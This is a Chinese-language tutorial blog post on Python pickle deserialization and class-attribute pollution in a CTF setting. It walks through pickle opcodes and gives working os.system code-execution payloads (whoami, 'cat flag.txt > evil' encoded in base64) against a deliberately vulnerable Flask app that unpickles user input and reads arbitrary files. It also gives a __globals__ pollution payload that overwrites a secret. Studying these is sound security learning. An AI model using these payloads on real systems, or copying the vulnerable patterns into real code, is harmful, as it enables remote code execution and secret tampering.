Pickle反序列化

本文参考这两篇:https://goodapple.top/archives/1069

https://blog.csdn.net/m0_73512445/article/details/135156437

Pickle

在学习pickle反序列化之前先了解一下什么是pickle:

pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。

通俗点讲,pickle序列化与反序列化就是数据保存与数据读取

可序列化对象:
None,True 和 False
整数、浮点数、复数
str、byte、bytearray
只包含可封存对象的集合,包括 tuple(元组)、list、set 和 dict
定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
定义在模块最外层的内置函数
定义在模块最外层的类
__dict__属性值或 __getstate__()函数的返回值可以被序列化的类

在这篇博客[https://goodapple.top/archives/1069]中我看到了这样一句话:pickle实际上可以看作一种**独立的语言**,通过对`opcode`的编写可以进行Python代码执行、覆盖变量等操作。直接编写的`opcode`灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)

我的理解就是pickle序列化的内容(也就是opcode+operand)可执行范围是有限的,而手动构造的opcode与operand可执行范围就远高于pickle序列化生成的opcode与operand。我们以下面这段代码为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
class ZLARYY():
def __init__(self):
self.age=18
self.flag="ZLARYY{2L47yY}"
self.friends="Chesmond and Arache"

Web=ZLARYY()
opcode=pickle.dumps(Web)
print(opcode)
print("==========")
WEB=pickle.loads(opcode)
print(WEB)

他的输出结果为:

1
2
3
b'\x80\x03c__main__\nZLARYY\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00flagq\x04X\x0e\x00\x00\x00ZLARYY{2L47yY}q\x05X\x07\x00\x00\x00friendsq\x06X\x13\x00\x00\x00Chesmond and Aracheq\x07ub.'
==========
<__main__.ZLARYY object at 0x000001C061A19108>

其中第一段就是我们的opcode

opcode

那什么是opcode?Pickle本质上自带了一个虚拟机(PVM-Pickle Virtual Machine),为了让这个虚拟机工作,Python的创造者专门发明了一套pickle专属指令集,也就是Pickle Opcode

在Python的pickle.py中,我们能够找到所有的opcode及其解释,常用的opcode如下,这里我们以V0版本为例

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

以这段opcode为例我们来分析一下:

1
b'\x80\x03c__main__\nZLARYY\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00flagq\x04X\x0e\x00\x00\x00ZLARYY{2L47yY}q\x05X\x07\x00\x00\x00friendsq\x06X\x13\x00\x00\x00Chesmond and Aracheq\x07ub.'

这里最开头的b表示Bytes,目的是告诉python引号里面的内容是一串二进制原始数据,Pickle.dumps()生成的序列化数据永远返回的都是带b的字符串

1
\x80\x03c__main__\nZLARYY\n

\80\x03:表示使用的是Pickle Protocol 3协议版本3,在本文开头的博客中有提到协议版本V0,V1,V2,V3,V4

c__main__\nZLARYY\n:使用了c(GLOBAL)指令,表示从当前的__main__运行环境中引入一个叫做ZLARYY的类

这两段用于声明协议和引入类

1
q\x00)\x81q\x01

q\x00:使用了q(BINPUT)指令,表示把刚才引入的类存储到Memo的0号位置

)EMPTY_TUPLE,在栈上放一个空元组

\x81NEWOBJ,表示使用刚才引入的ZLARYY类和空元组,在内存中实例化出一个没有任何属性的ZLARYY类的空对象

q\x01:与q\x00一样,将创建的实例对象存储到memo中,索引为1

这些用来实例化对象,这时候存储的对象中没有任何属性

1
}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00flagq\x04X\x0e\x00\x00\x00ZLARYY{2L47yY}q\x05X\x07\x00\x00\x00friendsq\x06X\x13\x00\x00\x00Chesmond and Aracheq\x07u

}EMPTY_DICT,表示在栈上创建一个空字典,准备用来存放对象的属性(也就是__dict__

(MARK,在栈上做一个标记,表示接下来压入栈的数据都属于这个字典的键值对

接下来我们忽略掉用来暂存的q指令(只出现在键后面)

X\x03\x00\x00\x00age:表示第一个键值对的键age,其中X是一个opcode,官方代号叫做BINUNICODE,当PVM读到X就表示接下来要读取一个Unicode格式的字符串,不过由于PVM过于死板,光告诉他要读取字符串是不够的,还需要精确地告诉他字符串有几个字节,否则就会一直读下去,而查看具体有多少个字节就是靠\x03\x00\x00\x00,Pickle协议规定,为了能支持很长的字符串,跟在X指令后面的长度信息必须固定占据四个字节(32位整数)的空间,\x00就是用来占位的0,\x03表示长度为3,至于这里为什么\x03排在前面是由于利用的小端序,在现代计算机底层,为了处理速度更快,内存存储数字是倒过来的,所以258个字节长度的字符串会表示为\x02\x01\x00\x00

K\x12:表示第一个键值对的值,\x12为十六进制的整数18,K表示BININT1,读取范围为0-255的正整数,除此之外还有M(BININT2)表示读取两个字节的无符号整数(0~65535),J(BININT)表示读取四个字节的有符号整数,能表示很大的正数或负数,I(INT)表示直接用纯文本存数字,以换行符\n结尾:I18\n

同样的可以类比接下来的X\x04\x00\x00\x00flagX\x0e\x00\x00\x00ZLARYY{2L47yY}

uSETITEMS,遇到这个指令,PVM开始找(标记,把这期间所有的键值塞进之前创建的字典里,此时字典变成了:{'age': 18, 'flag': 'ZLARYY{2L47yY}', 'friends': 'Chesmond and Arache'}

这些内容全部用来构建属性字典

1
b.

bBUILD,表示把刚做好的字典赋值给刚才创建的空对象__dict__属性,此时ZLARYY这个对象有了属性

.STOP,在反序列化时表示反序列化结束,返回最终的对象

而我们输出的pickle.loads(opcode)<__main__.ZLARYY object at 0x000001C061A19108>

指明了这个对象属于__main__模块的ZLARYY类,最后的十六进制为内存地址

Pickle反序列化漏洞

我们介绍了正常情况下的pickle序列化字符串组成,但我们之前也提到了pickle解析能力大于执行能力,如果我们手动打出恶意的payload,那么就可能会出先RCE等漏洞

就比如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
class ZLARYY():
def __init__(self):
self.age=18
self.flag="ZLARYY{2L47yY}"
self.friends="Chesmond and Arache"

payload=b'''cos
system
(S'whoami'
tR.'''
pickle.loads(payload)

关于这串payload有几个小细节:

  1. 这段payload使用的是pickle的第0版协议,在这个协议中,换行符作为分隔符使用,如果不使用多行字符串而强行将payload写成一行会变成:

    1
    payload = b'cos\nsystem\n(S\'whoami\'\ntR.'
  2. 为了方便手动编写及阅读修改,通常采用多行字符串的方式,而且由于我们的pickle序列化字符串必须带上b,所以采用b'''的方式来书写多行字节串

那么这段paylaod是怎么起作用的:

1
第一行:cos

cGLOBAL指令,之前提到是作为引入实例化对象,在这里是作为导入模块

os:模块名,这里PVM读到回车就表示模块名写完了

1
第二行:system

system:函数名,这里PVM读到回车表示函数名写完了,此时PVM将os.system这个函数放在了内存栈中

1
第三行:(S'whoami'

(MARK指令,作为标记

SSTRING指令,读取字符串

'whoami':字符串内容,这里PVM读到回车就表示字符串读完了,把它压入栈中

1
第四行:tR.

tTUPLE指令,找到上一个MARK指令,并把之间的数据打包为元组:('whoami',)

RREDUCE指令,选择栈上的第一个对象作为函数,第二个对象作为参数(第二个对象必须是元组),然后调用该函数,也就是执行了os.system('whoami')

.STOP指令,表示结束运行

与函数执行相关的opcode

object.__reduce__与R

我们可以通过重写类的object.__reduce__()函数,使其在被实例化时按照重写的方式进行,Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...,其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的

1
2
3
4
b'''cos
system
(S'whoami'
tR.'''

i

在前文表格中提到过:i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

用它写的paylaod如下:

1
2
3
4
b'''(S'whoami'
ios
system
.'''

o

o可以寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

1
2
3
4
b'''(cos
system
S'whoami'
o.'''

接下来我们尝试搭建一个本地环境测试一下,题目为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload))
return "ganbadie!"

@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename')
with open(filename, 'r') as f:
return f.read()

if __name__ == '__main__':
app.run(host='0.0.0.0')

根据之前所说,我们构造的pickle反序列化内容应该是:

1
2
3
4
b'''cos
system
(S'cat flag.txt > evil'
tR.'''

这里会对我们传进去的内容进行base64解码,那么我们的参数就应该先进行一次base64编码,最终paylaod为:

1
/calc?payload=Y29zCnN5c3RlbQooUydjYXQgZmxhZy50eHQgPiBldmlsJwp0Ui4=

同时我们需要注意的是,直接将我们的payload放在在线编码里面得到的payload是不行的,必须用:

1
2
3
4
5
6
7
8
9
10
import base64

# 注意:这里是直接赋值给变量,真正的内存里是没有 b 和 ''' 这几个字符的
opcode = b'''cos
system
(S'cat flag.txt > evil'
tR.'''

# 对纯粹的二进制指令进行编码
print(base64.b64encode(opcode).decode())

这段脚本进行编码

Python原型链污染

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def merge(target, payload):
for key, value in payload.items():
if isinstance(target, dict):
if isinstance(value, dict) and key in target:
merge(target[key], value)
else:
target[key] = value

elif hasattr(target, key):

if isinstance(value, dict):
extracted_target = getattr(target, key)
merge(extracted_target, value)
else:
setattr(target, key, value)

我们挨个分析这串代码的含义:

payload.items()

1
2
payload={"key1":"value1","key2":"value2"}
print(payload.items())

我们以这串代码为例看看输出结果:

.items()是python字典中的一个内置方法,作用是将字典里的”键”和”值”成对地拿出来,就可以用for循环挨个处理

1
2
3
4
5
6
for key, value in payload.items():
if isinstance(target, dict):
if isinstance(value, dict) and key in target:
merge(target[key], value)
else:
target[key] = value

所以这串代码的意思就是遍历payload的键值对,如果merge的第一个参数target是字典,那么继续,如果payload中取得的value是字典并且取得的键key存在于target中,那么就将target替换为target[‘key’]继续执行merge函数

如果value不是字典并且取得的key存在于target中,那么就将target[key]的值替换为value

比如:

1
2
3
4
target1={"theme":"light"}
payload1={"theme":"dark"}
merge(target1,payload1)
print(target1)
1
2
3
4
5
6
7
elif hasattr(target, key):

if isinstance(value, dict):
extracted_target = getattr(target, key)
merge(extracted_target, value)
else:
setattr(target, key, value)

不过如果target中含有取得的key这个属性,那么继续判断,如果取得的value是个字典,那么就会将target的key属性取出来作为新的target进行merge,如果value不是字典那么就将target对象的key属性赋值为value

1
2
3
4
5
6
class ZLARYY:
xiexie=1
Chesmmond=2
Arache=3

print(getattr(ZLARYY,'xiexie'))

由于所有的对象中都存在__class__属性,所以造成了原型链污染

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SECRET_KEY="I can't be changed!!!"
class ZLARYY:
def __init__(self):
pass

def merge(target, payload):
for key, value in payload.items():
if isinstance(target, dict):
if isinstance(value, dict) and key in target:
merge(target[key], value)
else:
target[key] = value

elif hasattr(target, key):

if isinstance(value, dict):
extracted_target = getattr(target, key)
merge(extracted_target, value)
else:
setattr(target, key, value)

obj=ZLARYY()
pay="????????"
merge(obj,pay)
print(SECRET_KEY)

如果要使用__init__,那么merge的对象中必须存在def __init__(self):

1
2
3
4
5
6
7
8
9
10
class ZLARYY:
pass
a=ZLARYY()
print(a.__class__.__init__)
#============================
class ZLARYY:
def __init__(self):
pass
a=ZLARYY()
print(a.__class__init__)

图片中的结果对应上面的两种python代码,如果不加上def语句的话,那么得到的就是object基类的__init__,但是由于object基类的__init__不是用python语言编写的,而是C语言,所以里面没有__globals__属性,那么我们的payload就断裂了

回到这道上,我的pay应该是怎样的字符串才能将SECRET_KEY给修改为Are you sure?

1
{"__class__":{"__init__":{"__globals__":{"SECRET_KEY":"Are you sure?"}}}}

实际上就是执行了将obj.__class__.__init__.__globals__中的SECRET_KEY修改为我们可控的内容

除此之外,python原型链污染还可以直接修改类的属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
SECRET_KEY="I can't be changed!!!"
class ZLARYY:
xiexie="can you change me?"
Chesmond="NONONONONONO"
Arache="YEAHYEAHYEAH"
def __init__(self):
pass

def merge(target, payload):
for key, value in payload.items():
if isinstance(target, dict):
if isinstance(value, dict) and key in target:
merge(target[key], value)
else:
target[key] = value

elif hasattr(target, key):

if isinstance(value, dict):
extracted_target = getattr(target, key)
merge(extracted_target, value)
else:
setattr(target, key, value)

obj=ZLARYY()
pay={"__class__":{"__init__":{"__globals__":{"SECRET_KEY":"Are you sure?","ZLARYY":{"xiexie":"what?"}}}}}
merge(obj,pay)
print(SECRET_KEY)
print(ZLARYY.xiexie)